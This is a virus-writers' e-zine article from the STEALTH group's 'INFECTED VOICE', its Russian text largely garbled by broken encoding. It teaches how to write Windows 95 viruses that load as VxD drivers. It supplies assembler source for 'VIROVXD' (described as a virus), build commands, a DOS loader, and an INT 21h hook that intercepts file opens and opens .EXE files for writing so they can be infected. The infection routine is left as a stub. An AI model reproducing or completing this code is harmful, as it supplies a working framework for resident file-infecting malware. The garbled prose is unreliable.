[INFECTED VOICE OnLine by STEALTH group (email: noxyuct@usa.net)]


   ...   p p  WINDOWS 95 p諮 㦥
 p  ,  ⥬   業 WINDOWS 95-p
(p,stealth-polimorphic,㬥騩 p뢠 p ⨯
executables)-  祭  p.᭮ p稭 ,ᨫ쭮
p㤭饩 ᮧ  p,  p᪨ ⠫
p樮   p Microsoft.     pp
  㯮p⢮ ⠥ p⠢ ᢮    "p
騪", p⢥ p pp   ᨫ  ⭮ ⥬
pp.筮,- p ᫥ pp WINDOWS 95
(  WINDOWS NT !) p  p     
, 室   祭  p  ⫨ ᪫⥫쭮
㬭 ( p  筮) ᮤp.   
p   pp pᮢ ,   㭪樮
p   WINDOWS 95  ᫮ , 祬 "p p" pp
 DOS. ᥣ譨   ⭮ p  ⨯ p WINDOWS 95
-pᮢ :

     1. ppp - ⠪ 뢠 VMM-inserted p.
       pp ᮡ  ᮧ  p饭
        ᯮ㥬  (⮩ ⠬ 0FFh) VMM32.VXD
       (p > 0C0001000h)  ᫥騬 p墠⮬ IFS API
       (IFSmgr_InstallFileSystemAPIHook).᭮ ⪮ 
       p樨   ⠫樨  p V86
       (pp,DOS-pp).
     2. p  p 1998  (Lorez,(c) VirogeN).-䨪
       KERNEL32.DLL ⥬ p⠭ RVA ( Export Table)  ᢮ 
       WIN32 API-㭪樨 GetFileAttributesA.  p稭
       ᠭ ⮤ p  ppp (,᪠뢠
       ⭮⥫쭠 ᫮ p楤p 䨪樨 ⠡ KERNEL32.DLL)
     3.VxD-dropper p.    1996  (Mr.Klunky).
        p, p⭠  p⠢ ᮡ ⤥쭮
       ⪮p VxD. 饥 p 設⢮ pp
        p ᯮ짮 VxD -  p⥫쭮 讣
       pp (3-6 Kb). 묨 ⮨⢠ ⠪ pᮢ 
	      ) p ᠭ
	      )  ⠫樨   pp

  p 㦥 ,p  p ⤠ p⥭
⮤ "3".⮬  p  p ᫥ 
⠪   易  ᠭ VxD.⠪,筥  p浪 :

     1.WINDOWS 95 p p ᯮᮡ p㧪 VxD. p⮩-
       ᮧ ᢮ VxD   pp SYSTEM    䠩
       SYSTEM.INI ( p [386Enh]) p device= VxD.ᮡ
       ᫮ 易  p饭 ᢮ VxD  pp
       IOSUBSYS. ⮬ 砥  VxD 㤥 ᠦ   p p㧪
       WINDOWS. 뢠  ⮬, ⠪ p   p㦠
       VxD,⪮p   DDK for WINDOWS 3.X !  ⮣,
       p墠 protected INT 21h (Hook_V86_Int_Chain) 砥 
       p 祭 ᮮ饭 Init_Complete.,ᠬ pᨢ 
        ᯮᮡ p㧪 VxD p   맮 㭪樨
       Load_Device VXDLDR.VXD. 㭪 㯭  맮  
       筮 DOS-pp !  p p⥭쪠 pp,
       p㦠 ᪨ VIROVXD.VXD,p p墠뢠
       protected INT 21h  ⠭   pp  p樯
       "p-⢥". p p VIROVXD.VXD  
        p  ᮧ 業 WINDOWS 95-p.
-----------------------------------------------------------------------------
;室 ⥪ VIROVXD (virovxd.asm)
		.386p
		.xlist
		 include vmm.inc
		.list

Declare_Virtual_Device VIROVXD,1,0,VIROVXD_Control,Undefined_Device_ID,,,

VXD_LOCKED_DATA_SEG
busy_flag   db	 0
victim	    db	 100h dup (0)
VXD_LOCKED_DATA_ENDS
;
VXD_LOCKED_CODE_SEG

BeginProc  VIROVXD_Control
	   Control_Dispatch  Sys_Dynamic_Device_Init,VIROVXD_Device_Init
	   clc
	   ret
EndProc    VIROVXD_Control

VXD_LOCKED_CODE_ENDS
;
VXD_ICODE_SEG

BeginProc  VIROVXD_Device_Init
	   mov	 eax,21h
	   mov	 esi,offset32 my_DOS_handler
	   VMMCall Hook_V86_Int_Chain ;p墠뢠 protected INT 21h
	   clc
	   ret
EndProc    VIROVXD_Device_Init

VXD_ICODE_ENDS
;
VXD_CODE_SEG

BeginProc  my_DOS_handler	      ; p稪 protected INT 21h
	   cmp	 [ebp.Client_AX],0abcdh
	   jne	 short go_out
	   mov	 [ebp.Client_AX],0dcbah
	   clc			      ;p⨬ p
	   ret
go_out:
	   stc			      ;p p 
	   ret
EndProc    my_DOS_handler

VXD_CODE_ENDS
	 END
-----------------------------------------------------------------------------
 樨  室  ᥣ ᯮ짮 MASM 6.11c-6.13 
LINK.EXE :
	  ML -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zd -DMASM6 virovxd.asm
	  LINK /VXD /NOD /MAP virovxd.obj /DEF:virovxd.def
	  MAPSYM -s -o virovxd.sym virovxd.map
-----------------------------------------------------------------------------
;ᮤp 䠩 virovxd.def
VXD VIROVXD DYNAMIC

DESCRIPTION 'VIRUS for Microsoft Windows 95'

SEGMENTS
    _LPTEXT	CLASS 'LCODE'	PRELOAD NONDISCARDABLE
    _LTEXT	CLASS 'LCODE'	PRELOAD NONDISCARDABLE
    _LDATA	CLASS 'LCODE'	PRELOAD NONDISCARDABLE
    _TEXT	CLASS 'LCODE'	PRELOAD NONDISCARDABLE
    _DATA	CLASS 'LCODE'	PRELOAD NONDISCARDABLE
    CONST	CLASS 'LCODE'	PRELOAD NONDISCARDABLE
    _TLS	CLASS 'LCODE'	PRELOAD NONDISCARDABLE
    _BSS	CLASS 'LCODE'	PRELOAD NONDISCARDABLE
    _ITEXT	CLASS 'ICODE'	DISCARDABLE
    _IDATA	CLASS 'ICODE'	DISCARDABLE
    _PTEXT	CLASS 'PCODE'	NONDISCARDABLE
    _PDATA	CLASS 'PDATA'	NONDISCARDABLE SHARED
    _STEXT	CLASS 'SCODE'	RESIDENT
    _SDATA	CLASS 'SCODE'	RESIDENT
    _DBOSTART	CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE	CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA	CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE	CLASS '16ICODE' PRELOAD DISCARDABLE
    _RCODE	CLASS 'RCODE'

EXPORTS
	VIROVXD_DDB @1
-----------------------------------------------------------------------------
祭 VIROVXD.VXD    pp SYSTEM ( ⮬,筮,
ᠬ VXD, p㦥,  ᥡ 㤠 p ).᫥ 祣 
(  debugger',⮡  㢨) pp,室 ⥪ p
p  :
-----------------------------------------------------------------------------
.model tiny
.code
.386
org 100h
begin:
       mov  ax,1684h
       mov  bx,27h
       xor  di,di
       mov  es,di		;ES:DI=0000:0000
       int  2fh 		;砥 VXDLDR API Entrypoint  ES:DI
       mov  vxdldr_off,di
       mov  vxdldr_seg,es
       mov  eax,1		;API-㭪 Load_Device
       mov  dx,offset vxd_name	;DS:DX=p  襣 VXD
       call dword ptr vxdldr_off
; 砥 ᯥ譮 p㧪 EAX=0.p pᨬ p  襣 VXD
       mov  ax,0abcdh		;p
       int  21h
;  p VIROVXD p AX=0dcbah
       mov  ax,4c00h
       int  21h
vxdldr_off  dw	0
vxdldr_seg  dw	0
vxd_name    db	'C:\WINDOWS\SYSTEM\VIROVXD.VXD',0
    end begin
-----------------------------------------------------------------------------
      2. , ᯮᮡ p㧪 VxD,,pp.p
	p⮨ p   ᫮ p:  襬 VxD 
	p  䠩 p ? ,筮,p墠
	IFS API,  㤠  p⮩ ⮤,᭮  p墠
	protected INT 21h.  ⮬, p ᪮ pp 
	ᯮ ( -DOS  WINDOWS),⥬ 易⥫쭮
	p⠥ EXE- 䠩 (,祬).p ⮬,
	 㤠 ᭨,p室 맮 VWIN32 Int_21h_Dispatcher ,
	p, ᢮ p,ᮤp 맮 Simulate_Int c EAX=21h.
	 p室 p p  楯窥 p稪
	V86_Int_Chain. p,⮡ p뢠 ᮮ饭 ⥬
	 p⨨ ᯮ塞 䠩,㦭  p楤p my_DOS_handler
	 pp [ebp.Client_AH]  3dh :

BeginProc  my_DOS_handler		; p稪 protected INT 21h
	   cmp	 busy_flag,1
	   je	 go_out
	   cmp	 [ebp.Client_AH],3dh	;⠥ 䠩 ?
	   jne	 test_password
	   Push_Client_State		;p pp 맮
	   VMMCall Begin_Nest_Exec
	   mov	 busy_flag,1		;⠢ 䫠 
	   movzx edx,[ebp.Client_DS]
	   movzx eax,[ebp.Client_DX]
	   shl	 edx,4
	   add	 edx,eax		;EDX-> p뢠 䠩
	   mov	 esi,edx
	   mov	 edi,offset32 victim
	   cld
scan_zero:				;饬   䠩
	   lodsb
	   stosb
	   or	 al,al
	   jnz	 scan_zero
	   sub	 esi,5
	   cmp	 dword ptr [esi],'EXE.' ;  㦭 ⮫쪮 ᯮ塞...
	   jne	 finish
	   mov	 ax,3d02h		;p뢠 䠩  ⥭-
	   mov	 edx,offset32 victim
	   VxDint 21h
	   jc	 finish
; p樯,   ⠭p⭠ p楤p p 䠩.
;   p᪨  ⫨  DOS-pᮢ (p 
;INT 21h   VxDint 21h)
finish:
	   mov	 busy_flag,0		;pᨬ 䫠 
	   VMMCall End_Nest_Exec	;⠭ pp 맮
	   Pop_Client_State
	   jmp	 short go_out
test_password:
	   cmp	 [ebp.Client_AX],0abcdh
	   jne	 short go_out
	   mov	 [ebp.Client_AX],0dcbah
	   clc			      ;p⨬ p
	   ret
go_out:
	   stc			      ;p p 
	   ret
EndProc    my_DOS_handler

 ᠥ p ᯮ塞 䠩, ,᪮p ᥣ, 㦥
 ⢮p᪠, 孨᪠ (騥  ᬮp  PAYKILLER'a-21)
 祭   ᯥ ᥬ pp  ᮢ⮢
  ᪮p 室  , p   Microsoft.
  ᠬ , p p室  WINDOWS-孮.,
襨 p  -  . p,
"᫥,  p" !
						 訬 ﬨ,
						      Mad  Rocker





